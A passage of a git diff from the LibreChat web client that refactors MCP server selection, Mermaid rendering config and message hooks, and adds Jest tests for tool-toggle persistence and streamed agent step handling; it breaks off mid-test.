bb5214be7c..af65ba4507 100644 --- a/client/src/hooks/MCP/useMCPServerManager.ts +++ b/client/src/hooks/MCP/useMCPServerManager.ts @@ -28,7 +28,10 @@ export interface MCPServerDefinition { // The init states (isInitializing, isCancellable, etc.) are stored in the global Jotai atom type PollIntervals = Record; -export function useMCPServerManager({ conversationId }: { conversationId?: string | null } = {}) { +export function useMCPServerManager({ + conversationId, + storageContextKey, +}: { conversationId?: string | null; storageContextKey?: string } = {}) { const localize = useLocalize(); const queryClient = useQueryClient(); const { showToast } = useToastContext(); @@ -73,6 +76,7 @@ export function useMCPServerManager({ conversationId }: { conversationId?: strin const { mcpValues, setMCPValues, isPinned, setIsPinned } = useMCPSelect({ conversationId, + storageContextKey, servers: selectableServers, }); const mcpValuesRef = useRef(mcpValues); @@ -429,33 +433,6 @@ export function useMCPServerManager({ conversationId }: { conversationId?: strin [startupConfig?.interface?.mcpServers?.placeholder, localize], ); - const batchToggleServers = useCallback( - (serverNames: string[]) => { - const connectedServers: string[] = []; - const disconnectedServers: string[] = []; - - serverNames.forEach((serverName) => { - if (isInitializing(serverName)) { - return; - } - - const serverStatus = connectionStatus?.[serverName]; - if (serverStatus?.connectionState === 'connected') { - connectedServers.push(serverName); - } else { - disconnectedServers.push(serverName); - } - }); - - setMCPValues(connectedServers); - - disconnectedServers.forEach((serverName) => { - initializeServer(serverName); - }); - }, - [connectionStatus, setMCPValues, initializeServer, isInitializing], - ); - const toggleServerSelection = useCallback( (serverName: string) => { if (isInitializing(serverName)) { @@ -469,15 +446,10 @@ export function useMCPServerManager({ conversationId }: { conversationId?: strin const filteredValues = currentValues.filter((name) => name !== serverName); setMCPValues(filteredValues); } else { - const serverStatus = connectionStatus?.[serverName]; - if (serverStatus?.connectionState === 'connected') { - setMCPValues([...currentValues, serverName]); - } else { - initializeServer(serverName); - } + setMCPValues([...currentValues, serverName]); } }, - [mcpValues, setMCPValues, connectionStatus, initializeServer, isInitializing], + [mcpValues, setMCPValues, isInitializing], ); const handleConfigSave = useCallback( @@ -673,7 +645,6 @@ export function useMCPServerManager({ conversationId }: { conversationId?: strin isPinned, setIsPinned, placeholderText, - batchToggleServers, toggleServerSelection, localize, diff --git a/client/src/hooks/Mermaid/useMermaid.ts b/client/src/hooks/Mermaid/useMermaid.ts index 26e195e401..31957dce36 100644 --- a/client/src/hooks/Mermaid/useMermaid.ts +++ b/client/src/hooks/Mermaid/useMermaid.ts @@ -1,9 +1,10 @@ import { useContext, useMemo, useState } from 'react'; -import DOMPurify from 'dompurify'; import useSWR from 'swr'; import { Md5 } from 'ts-md5'; +import DOMPurify from 'dompurify'; import { ThemeContext, isDark } from '@librechat/client'; import type { MermaidConfig } from 'mermaid'; +import { inlineFlowchartConfig } from '~/utils/mermaid'; // Constants const MD5_LENGTH_THRESHOLD = 10_000; @@ -85,12 +86,12 @@ export const useMermaid = ({ return { startOnLoad: false, theme: (customTheme as MermaidConfig['theme']) || defaultTheme, - // Spread custom config but override security settings after ...config, - // Security hardening - these MUST come last to prevent override - securityLevel: 'strict', // Highest security: disables click, sanitizes text - maxTextSize: config?.maxTextSize ?? 50000, // Limit text size to prevent DoS - maxEdges: config?.maxEdges ?? 500, // Limit edges to prevent DoS + flowchart: { ...inlineFlowchartConfig, ...config?.flowchart, htmlLabels: false }, + // Security hardening: MUST come after ...config spread to prevent override + securityLevel: 'strict', + maxTextSize: config?.maxTextSize ?? 50000, + maxEdges: config?.maxEdges ?? 500, }; }, [customTheme, isDarkMode, config]); diff --git a/client/src/hooks/Messages/useMessageActions.tsx b/client/src/hooks/Messages/useMessageActions.tsx index c168b16d6e..e8946b895b 100644 --- a/client/src/hooks/Messages/useMessageActions.tsx +++ b/client/src/hooks/Messages/useMessageActions.tsx @@ -31,8 +31,16 @@ export default function useMessageActions(props: TMessageActions) { const UsernameDisplay = useRecoilValue(store.UsernameDisplay); const { message, currentEditId, setCurrentEditId, searchResults } = props; - const { ask, index, regenerate, isSubmitting, conversation, latestMessage, handleContinue } = - useChatContext(); + const { + ask, + index, + regenerate, + isSubmitting, + conversation, + latestMessageId, + latestMessageDepth, + handleContinue, + } = useChatContext(); const getAddedConvo = useGetAddedConvo(); @@ -154,10 +162,11 @@ export default function useMessageActions(props: TMessageActions) { enterEdit, conversation, messageLabel, - latestMessage, handleFeedback, handleContinue, copyToClipboard, + latestMessageId, regenerateMessage, + latestMessageDepth, }; } diff --git a/client/src/hooks/Messages/useMessageHelpers.tsx b/client/src/hooks/Messages/useMessageHelpers.tsx index 0ecf5c684a..0453e4a49c 100644 --- a/client/src/hooks/Messages/useMessageHelpers.tsx +++ b/client/src/hooks/Messages/useMessageHelpers.tsx @@ -17,9 +17,9 @@ export default function useMessageHelpers(props: TMessageProps) { regenerate, isSubmitting, conversation, - latestMessage, setAbortScroll, handleContinue, + latestMessageId, setLatestMessage, } = useMessagesViewContext(); const agentsMap = useAgentsMapContext(); @@ -141,8 +141,8 @@ export default function useMessageHelpers(props: TMessageProps) { conversation, isSubmitting, handleScroll, - latestMessage, handleContinue, + latestMessageId, copyToClipboard, regenerateMessage, }; diff --git a/client/src/hooks/Messages/useSubmitMessage.ts b/client/src/hooks/Messages/useSubmitMessage.ts index fcf92d3eef..d924e3b987 100644 --- a/client/src/hooks/Messages/useSubmitMessage.ts +++ b/client/src/hooks/Messages/useSubmitMessage.ts @@ -9,7 +9,8 @@ export default function useSubmitMessage() { const { user } = useAuthContext(); const methods = useChatFormContext(); const { conversation: addedConvo } = useAddedChatContext(); - const { ask, index, getMessages, setMessages, latestMessage } = useChatContext(); + const { ask, index, getMessages, setMessages } = useChatContext(); + const latestMessage = useRecoilValue(store.latestMessageFamily(index)); const autoSendPrompts = useRecoilValue(store.autoSendPrompts); const setActivePrompt = useSetRecoilState(store.activePromptByIndex(index)); diff --git a/client/src/hooks/Plugins/__tests__/useToolToggle.test.tsx b/client/src/hooks/Plugins/__tests__/useToolToggle.test.tsx new file mode 100644 index 0000000000..f617db2249 --- /dev/null +++ b/client/src/hooks/Plugins/__tests__/useToolToggle.test.tsx @@ -0,0 +1,328 @@ +import React from 'react'; +import { renderHook, act, waitFor } from '@testing-library/react'; +import { LocalStorageKeys, Tools } from 'librechat-data-provider'; +import { RecoilRoot, useRecoilValue, useSetRecoilState } from 'recoil'; +import { ephemeralAgentByConvoId } from '~/store'; +import { useToolToggle } from '../useToolToggle'; + +/** + * Tests for useToolToggle — the hook responsible for toggling tool badges + * (code execution, web search, file search, artifacts) and persisting state. + * + * Desired behaviors: + * - User toggles persist to per-conversation localStorage + * - In non-spec mode with specs configured (storageContextKey = '__defaults__'), + * toggles ALSO persist to the defaults key so future new conversations inherit them + * - In spec mode (storageContextKey = undefined), toggles only persist per-conversation + * - The hook reflects the current ephemeral agent state + */ + +// Mock data-provider auth query +jest.mock('~/data-provider', () => ({ + useVerifyAgentToolAuth: jest.fn().mockReturnValue({ + data: { authenticated: true }, + }), +})); + +// Mock timestamps (track calls without actual localStorage timestamp logic) +jest.mock('~/utils/timestamps', () => ({ + setTimestamp: jest.fn(), +})); + +// Mock useLocalStorageAlt (isPinned state — not relevant to our behavior tests) +jest.mock('~/hooks/useLocalStorageAlt', () => jest.fn(() => [false, jest.fn()])); + +const Wrapper: React.FC<{ children: React.ReactNode }> = ({ children }) => ( + {children} +); + +describe('useToolToggle', () => { + beforeEach(() => { + jest.clearAllMocks(); + localStorage.clear(); + }); + + // ─── Dual-Write Behavior ─────────────────────────────────────────── + + describe('non-spec mode: dual-write to defaults key', () => { + const storageContextKey = '__defaults__'; + + it('should write to both conversation key and defaults key when user toggles a tool', () => { + const conversationId = 'convo-123'; + const { result } = renderHook( + () => + useToolToggle({ + conversationId, + storageContextKey, + toolKey: Tools.execute_code, + localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_, + isAuthenticated: true, + }), + { wrapper: Wrapper }, + ); + + act(() => { + result.current.handleChange({ value: true }); + }); + + // Conversation key: per-conversation persistence + const convoKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${conversationId}`; + // Defaults key: persists for future new conversations + const defaultsKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${storageContextKey}`; + + // Sync effect writes to conversation key + expect(localStorage.getItem(convoKey)).toBe(JSON.stringify(true)); + // handleChange dual-writes to defaults key + expect(localStorage.getItem(defaultsKey)).toBe(JSON.stringify(true)); + }); + + it('should persist false values to defaults key when user disables a tool', () => { + const { result } = renderHook( + () => + useToolToggle({ + conversationId: 'convo-456', + storageContextKey, + toolKey: Tools.web_search, + localStorageKey: LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_, + isAuthenticated: true, + }), + { wrapper: Wrapper }, + ); + + // Enable then disable + act(() => { + result.current.handleChange({ value: true }); + }); + act(() => { + result.current.handleChange({ value: false }); + }); + + const defaultsKey = `${LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_}${storageContextKey}`; + expect(localStorage.getItem(defaultsKey)).toBe(JSON.stringify(false)); + }); + }); + + describe('spec mode: no dual-write', () => { + it('should only write to conversation key, not to any defaults key', () => { + const conversationId = 'spec-convo-789'; + const { result } = renderHook( + () => + useToolToggle({ + conversationId, + storageContextKey: undefined, // spec mode + toolKey: Tools.execute_code, + localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_, + isAuthenticated: true, + }), + { wrapper: Wrapper }, + ); + + act(() => { + result.current.handleChange({ value: true }); + }); + + // Conversation key should have the value + const convoKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${conversationId}`; + expect(localStorage.getItem(convoKey)).toBe(JSON.stringify(true)); + + // Defaults key should NOT have a value + const defaultsKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}__defaults__`; + expect(localStorage.getItem(defaultsKey)).toBeNull(); + }); + }); + + // ─── Per-Conversation Isolation ──────────────────────────────────── + + describe('per-conversation isolation', () => { + it('should maintain separate toggle state per conversation', () => { + const TestComponent = ({ conversationId }: { conversationId: string }) => { + const toggle = useToolToggle({ + conversationId, + toolKey: Tools.execute_code, + localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_, + isAuthenticated: true, + }); + const ephemeralAgent = useRecoilValue(ephemeralAgentByConvoId(conversationId)); + return { toggle, ephemeralAgent }; + }; + + // Conversation A: enable code + const { result: resultA } = renderHook(() => TestComponent({ conversationId: 'convo-A' }), { + wrapper: Wrapper, + }); + + act(() => { + resultA.current.toggle.handleChange({ value: true }); + }); + + // Conversation B: disable code + const { result: resultB } = renderHook(() => TestComponent({ conversationId: 'convo-B' }), { + wrapper: Wrapper, + }); + + act(() => { + resultB.current.toggle.handleChange({ value: false }); + }); + + // Each conversation has its own value in localStorage + expect(localStorage.getItem(`${LocalStorageKeys.LAST_CODE_TOGGLE_}convo-A`)).toBe('true'); + expect(localStorage.getItem(`${LocalStorageKeys.LAST_CODE_TOGGLE_}convo-B`)).toBe('false'); + }); + }); + + // ─── Ephemeral Agent Sync ────────────────────────────────────────── + + describe('ephemeral agent reflects toggle state', () => { + it('should update ephemeral agent when user toggles a tool', async () => { + const conversationId = 'convo-sync-test'; + const TestComponent = () => { + const toggle = useToolToggle({ + conversationId, + toolKey: Tools.execute_code, + localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_, + isAuthenticated: true, + }); + const ephemeralAgent = useRecoilValue(ephemeralAgentByConvoId(conversationId)); + return { toggle, ephemeralAgent }; + }; + + const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper }); + + act(() => { + result.current.toggle.handleChange({ value: true }); + }); + + await waitFor(() => { + expect(result.current.ephemeralAgent?.execute_code).toBe(true); + }); + + act(() => { + result.current.toggle.handleChange({ value: false }); + }); + + await waitFor(() => { + expect(result.current.ephemeralAgent?.execute_code).toBe(false); + }); + }); + + it('should reflect external ephemeral agent changes in toolValue', async () => { + const conversationId = 'convo-external'; + const TestComponent = () => { + const toggle = useToolToggle({ + conversationId, + toolKey: Tools.web_search, + localStorageKey: LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_, + isAuthenticated: true, + }); + const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(conversationId)); + return { toggle, setEphemeralAgent }; + }; + + const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper }); + + // External update (e.g., from applyModelSpecEphemeralAgent) + act(() => { + result.current.setEphemeralAgent({ web_search: true, execute_code: false }); + }); + + await waitFor(() => { + expect(result.current.toggle.toolValue).toBe(true); + expect(result.current.toggle.isToolEnabled).toBe(true); + }); + }); + + it('should sync externally-set ephemeral agent values to localStorage', async () => { + const conversationId = 'convo-sync-ls'; + const TestComponent = () => { + const toggle = useToolToggle({ + conversationId, + toolKey: Tools.file_search, + localStorageKey: LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_, + isAuthenticated: true, + }); + const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(conversationId)); + return { toggle, setEphemeralAgent }; + }; + + const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper }); + + // Simulate applyModelSpecEphemeralAgent setting a value + act(() => { + result.current.setEphemeralAgent({ file_search: true }); + }); + + // The sync effect should write to conversation-keyed localStorage + await waitFor(() => { + const storageKey = `${LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_}${conversationId}`; + expect(localStorage.getItem(storageKey)).toBe(JSON.stringify(true)); + }); + }); + }); + + // ─── isToolEnabled computation ───────────────────────────────────── + + describe('isToolEnabled computation', () => { + it('should return false when tool is not set', () => { + const { result } = renderHook( + () => + useToolToggle({ + conversationId: 'convo-1', + toolKey: Tools.execute_code, + localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_, + isAuthenticated: true, + }), + { wrapper: Wrapper }, + ); + + expect(result.current.isToolEnabled).toBe(false); + }); + + it('should treat non-empty string as enabled (artifacts)', async () => { + const conversationId = 'convo-artifacts'; + const TestComponent = () => { + const toggle = useToolToggle({ + conversationId, + toolKey: 'artifacts', + localStorageKey: LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_, + isAuthenticated: true, + }); + const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(conversationId)); + return { toggle, setEphemeralAgent }; + }; + + const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper }); + + act(() => { + result.current.setEphemeralAgent({ artifacts: 'default' }); + }); + + await waitFor(() => { + expect(result.current.toggle.isToolEnabled).toBe(true); + }); + }); + + it('should treat empty string as disabled (artifacts off)', async () => { + const conversationId = 'convo-no-artifacts'; + const TestComponent = () => { + const toggle = useToolToggle({ + conversationId, + toolKey: 'artifacts', + localStorageKey: LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_, + isAuthenticated: true, + }); + const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(conversationId)); + return { toggle, setEphemeralAgent }; + }; + + const { result } = renderHook(() => TestComponent(), { wrapper: Wrapper }); + + act(() => { + result.current.setEphemeralAgent({ artifacts: '' }); + }); + + await waitFor(() => { + expect(result.current.toggle.isToolEnabled).toBe(false); + }); + }); + }); +}); diff --git a/client/src/hooks/Plugins/useToolToggle.ts b/client/src/hooks/Plugins/useToolToggle.ts index 3b12e87d51..d8026cad1c 100644 --- a/client/src/hooks/Plugins/useToolToggle.ts +++ b/client/src/hooks/Plugins/useToolToggle.ts @@ -13,6 +13,7 @@ type ToolValue = boolean | string; interface UseToolToggleOptions { conversationId?: string | null; + storageContextKey?: string; toolKey: string; localStorageKey: LocalStorageKeys; isAuthenticated?: boolean; @@ -26,6 +27,7 @@ interface UseToolToggleOptions { export function useToolToggle({ conversationId, + storageContextKey, toolKey: _toolKey, localStorageKey, isAuthenticated: externalIsAuthenticated, @@ -93,8 +95,22 @@ export function useToolToggle({ ...(prev || {}), [toolKey]: value, })); + + // Dual-write to environment key for new conversation defaults + if (storageContextKey) { + const envKey = `${localStorageKey}${storageContextKey}`; + localStorage.setItem(envKey, JSON.stringify(value)); + setTimestamp(envKey); + } }, - [setIsDialogOpen, isAuthenticated, setEphemeralAgent, toolKey], + [ + setIsDialogOpen, + isAuthenticated, + setEphemeralAgent, + toolKey, + storageContextKey, + localStorageKey, + ], ); const debouncedChange = useMemo( diff --git a/client/src/hooks/SSE/__tests__/useStepHandler.spec.ts b/client/src/hooks/SSE/__tests__/useStepHandler.spec.ts new file mode 100644 index 0000000000..cbe13f3910 --- /dev/null +++ b/client/src/hooks/SSE/__tests__/useStepHandler.spec.ts @@ -0,0 +1,1085 @@ +import { renderHook, act } from '@testing-library/react'; +import { StepTypes, ContentTypes, ToolCallTypes } from 'librechat-data-provider'; +import type { + TMessageContentParts, + EventSubmission, + TEndpointOption, + TConversation, + TMessage, + Agents, +} from 'librechat-data-provider'; +import useStepHandler from '~/hooks/SSE/useStepHandler'; + +type TSubmissionForTest = { + userMessage: TMessage; + isEdited?: boolean; + isContinued?: boolean; + isTemporary: boolean; + messages: TMessage[]; + isRegenerate?: boolean; + conversation: Partial; + endpointOption: TEndpointOption; + initialResponse: TMessage; + editedContent?: { index: number; type: string; [key: string]: unknown } | null; +}; + +describe('useStepHandler', () => { + const mockSetMessages = jest.fn(); + const mockGetMessages = jest.fn(); + const mockAnnouncePolite = jest.fn(); + const mockLastAnnouncementTimeRef = { current: 0 }; + + const createHookParams = () => ({ + setMessages: mockSetMessages, + getMessages: mockGetMessages, + announcePolite: mockAnnouncePolite, + lastAnnouncementTimeRef: mockLastAnnouncementTimeRef, + }); + + const createUserMessage = (overrides: Partial = {}): TMessage => ({ + messageId: 'user-msg-1', + conversationId: 'conv-1', + parentMessageId: '00000000-0000-0000-0000-000000000000', + isCreatedByUser: true, + text: 'Hello', + sender: 'User', + ...overrides, + }); + + const createResponseMessage = (overrides: Partial = {}): TMessage => ({ + messageId: 'response-msg-1', + conversationId: 'conv-1', + parentMessageId: 'user-msg-1', + isCreatedByUser: false, + text: '', + sender: 'Assistant', + content: [], + ...overrides, + }); + + const createSubmission = (overrides: Partial = {}): EventSubmission => + ({ + userMessage: createUserMessage(), + isRegenerate: false, + isEdited: false, + isContinued: false, + isTemporary: false, + messages: [], + conversation: {}, + endpointOption: {} as TEndpointOption, + initialResponse: createResponseMessage(), + ...overrides, + }) as unknown as EventSubmission; + + const createRunStep = (overrides: Partial = {}): Agents.RunStep => ({ + id: 'step-1', + runId: 'response-msg-1', + index: 0, + type: StepTypes.MESSAGE_CREATION, + stepDetails: { + type: StepTypes.MESSAGE_CREATION, + message_creation: { message_id: 'msg-1' }, + }, + usage: null, + ...overrides, + }); + + const createToolCallRunStep = (overrides: Partial = {}): Agents.RunStep => ({ + id: 'step-tool-1', + runId: 'response-msg-1', + index: 0, + type: StepTypes.TOOL_CALLS, + stepDetails: { + type: StepTypes.TOOL_CALLS, + tool_calls: [ + { + id: 'tool-call-1', + name: 'test_tool', + args: '{}', + type: ToolCallTypes.TOOL_CALL, + }, + ], + }, + usage: null, + ...overrides, + }); + + const createMessageDelta = ( + stepId: string, + text: string, + overrides: Partial = {}, + ): Agents.MessageDeltaEvent => ({ + id: stepId, + delta: { + content: [{ type: ContentTypes.TEXT, text }], + }, + ...overrides, + }); + + const createReasoningDelta = ( + stepId: string, + think: string, + overrides: Partial = {}, + ): Agents.ReasoningDeltaEvent => ({ + id: stepId, + delta: { + content: [{ type: ContentTypes.THINK, think }], + }, + ...overrides, + }); + + beforeEach(() => { + jest.clearAllMocks(); + mockLastAnnouncementTimeRef.current = 0; + mockGetMessages.mockReturnValue([]); + }); + + describe('initialization', () => { + it('should return stepHandler, clearStepMaps, and syncStepMessage functions', () => { + const { result } = renderHook(() => useStepHandler(createHookParams())); + + expect(typeof result.current.stepHandler).toBe('function'); + expect(typeof result.current.clearStepMaps).toBe('function'); + expect(typeof result.current.syncStepMessage).toBe('function'); + }); + }); + + describe('on_run_step event', () => { + it('should create response message when not in messageMap', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + const setMessagesCall = mockSetMessages.mock.calls[0][0]; + expect(setMessagesCall).toContainEqual( + expect.objectContaining({ messageId: 'response-msg-1' }), + ); + }); + + it('should warn and return early when no responseMessageId', () => { + const consoleSpy = jest.spyOn(console, 'warn').mockImplementation(); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep({ runId: '' }); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(consoleSpy).toHaveBeenCalledWith('No message id found in run step event'); + expect(mockSetMessages).not.toHaveBeenCalled(); + consoleSpy.mockRestore(); + }); + + it('should handle USE_PRELIM_RESPONSE_MESSAGE_ID by using initialResponse', () => { + const initialResponse = createResponseMessage({ messageId: 'initial-response-id' }); + mockGetMessages.mockReturnValue([initialResponse]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep({ runId: 'USE_PRELIM_RESPONSE_MESSAGE_ID' }); + const submission = createSubmission({ + initialResponse, + }); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + }); + + it('should handle tool call steps and store tool call IDs', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createToolCallRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser); + expect(responseMsg?.content).toContainEqual( + expect.objectContaining({ + type: ContentTypes.TOOL_CALL, + tool_call: expect.objectContaining({ name: 'test_tool' }), + }), + ); + }); + + it('should replay buffered deltas after registering step', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const submission = createSubmission(); + const stepId = 'step-buffered'; + + act(() => { + result.current.stepHandler( + { event: 'on_message_delta', data: createMessageDelta(stepId, 'Hello') }, + submission, + ); + }); + + expect(mockSetMessages).not.toHaveBeenCalled(); + + const runStep = createRunStep({ id: stepId }); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser); + expect(responseMsg?.content).toContainEqual( + expect.objectContaining({ type: ContentTypes.TEXT, text: 'Hello' }), + ); + }); + + it('should ensure userMessage is present in multi-tab scenarios', () => { + const userMsg = createUserMessage(); + mockGetMessages.mockReturnValue([]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission({ userMessage: userMsg }); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + const setMessagesCall = mockSetMessages.mock.calls[0][0]; + expect(setMessagesCall).toContainEqual( + expect.objectContaining({ messageId: userMsg.messageId }), + ); + }); + + it('should propagate step metadata (agentId, groupId) for parallel rendering', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createToolCallRunStep({ + agentId: 'agent-1', + groupId: 2, + }); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser); + const toolCallContent = responseMsg?.content?.find( + (c: TMessageContentParts) => c.type === ContentTypes.TOOL_CALL, + ); + expect(toolCallContent).toMatchObject({ + agentId: 'agent-1', + groupId: 2, + }); + }); + }); + + describe('on_agent_update event', () => { + it('should update message with agent update content', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + mockSetMessages.mockClear(); + + const agentUpdate: Agents.AgentUpdate = { + type: ContentTypes.AGENT_UPDATE, + agent_update: { + runId: 'response-msg-1', + index: 1, + agentId: 'agent-1', + }, + }; + + act(() => { + result.current.stepHandler({ event: 'on_agent_update', data: agentUpdate }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + }); + + it('should warn when no responseMessageId for agent update', () => { + const consoleSpy = jest.spyOn(console, 'warn').mockImplementation(); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const agentUpdate: Agents.AgentUpdate = { + type: ContentTypes.AGENT_UPDATE, + agent_update: { + runId: '', + index: 0, + agentId: 'agent-1', + }, + }; + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_agent_update', data: agentUpdate }, submission); + }); + + expect(consoleSpy).toHaveBeenCalledWith('No message id found in agent update event'); + consoleSpy.mockRestore(); + }); + }); + + describe('on_message_delta event', () => { + it('should append text delta to existing content', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + mockSetMessages.mockClear(); + + const messageDelta = createMessageDelta('step-1', 'Hello'); + + act(() => { + result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall[lastCall.length - 1]; + expect(responseMsg.content).toContainEqual( + expect.objectContaining({ type: ContentTypes.TEXT, text: 'Hello' }), + ); + }); + + it('should buffer delta when step does not exist', () => { + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const messageDelta = createMessageDelta('nonexistent-step', 'Buffered'); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission); + }); + + expect(mockSetMessages).not.toHaveBeenCalled(); + }); + + it('should concatenate multiple text deltas', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + act(() => { + result.current.stepHandler( + { event: 'on_message_delta', data: createMessageDelta('step-1', 'Hello ') }, + submission, + ); + }); + + act(() => { + result.current.stepHandler( + { event: 'on_message_delta', data: createMessageDelta('step-1', 'World') }, + submission, + ); + }); + + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall[lastCall.length - 1]; + expect(responseMsg.content).toContainEqual( + expect.objectContaining({ type: ContentTypes.TEXT, text: 'Hello World' }), + ); + }); + + it('should return early when contentPart is null', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + mockSetMessages.mockClear(); + + const messageDelta: Agents.MessageDeltaEvent = { + id: 'step-1', + delta: { content: [] }, + }; + + act(() => { + result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission); + }); + + expect(mockSetMessages).not.toHaveBeenCalled(); + }); + }); + + describe('on_reasoning_delta event', () => { + it('should append reasoning delta to existing content', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + mockSetMessages.mockClear(); + + const reasoningDelta = createReasoningDelta('step-1', 'Thinking...'); + + act(() => { + result.current.stepHandler( + { event: 'on_reasoning_delta', data: reasoningDelta }, + submission, + ); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall[lastCall.length - 1]; + expect(responseMsg.content).toContainEqual( + expect.objectContaining({ type: ContentTypes.THINK, think: 'Thinking...' }), + ); + }); + + it('should buffer reasoning delta when step does not exist', () => { + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const reasoningDelta = createReasoningDelta('nonexistent-step', 'Buffered'); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler( + { event: 'on_reasoning_delta', data: reasoningDelta }, + submission, + ); + }); + + expect(mockSetMessages).not.toHaveBeenCalled(); + }); + + it('should concatenate multiple reasoning deltas', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + act(() => { + result.current.stepHandler( + { event: 'on_reasoning_delta', data: createReasoningDelta('step-1', 'First ') }, + submission, + ); + }); + + act(() => { + result.current.stepHandler( + { event: 'on_reasoning_delta', data: createReasoningDelta('step-1', 'thought') }, + submission, + ); + }); + + const lastCall = 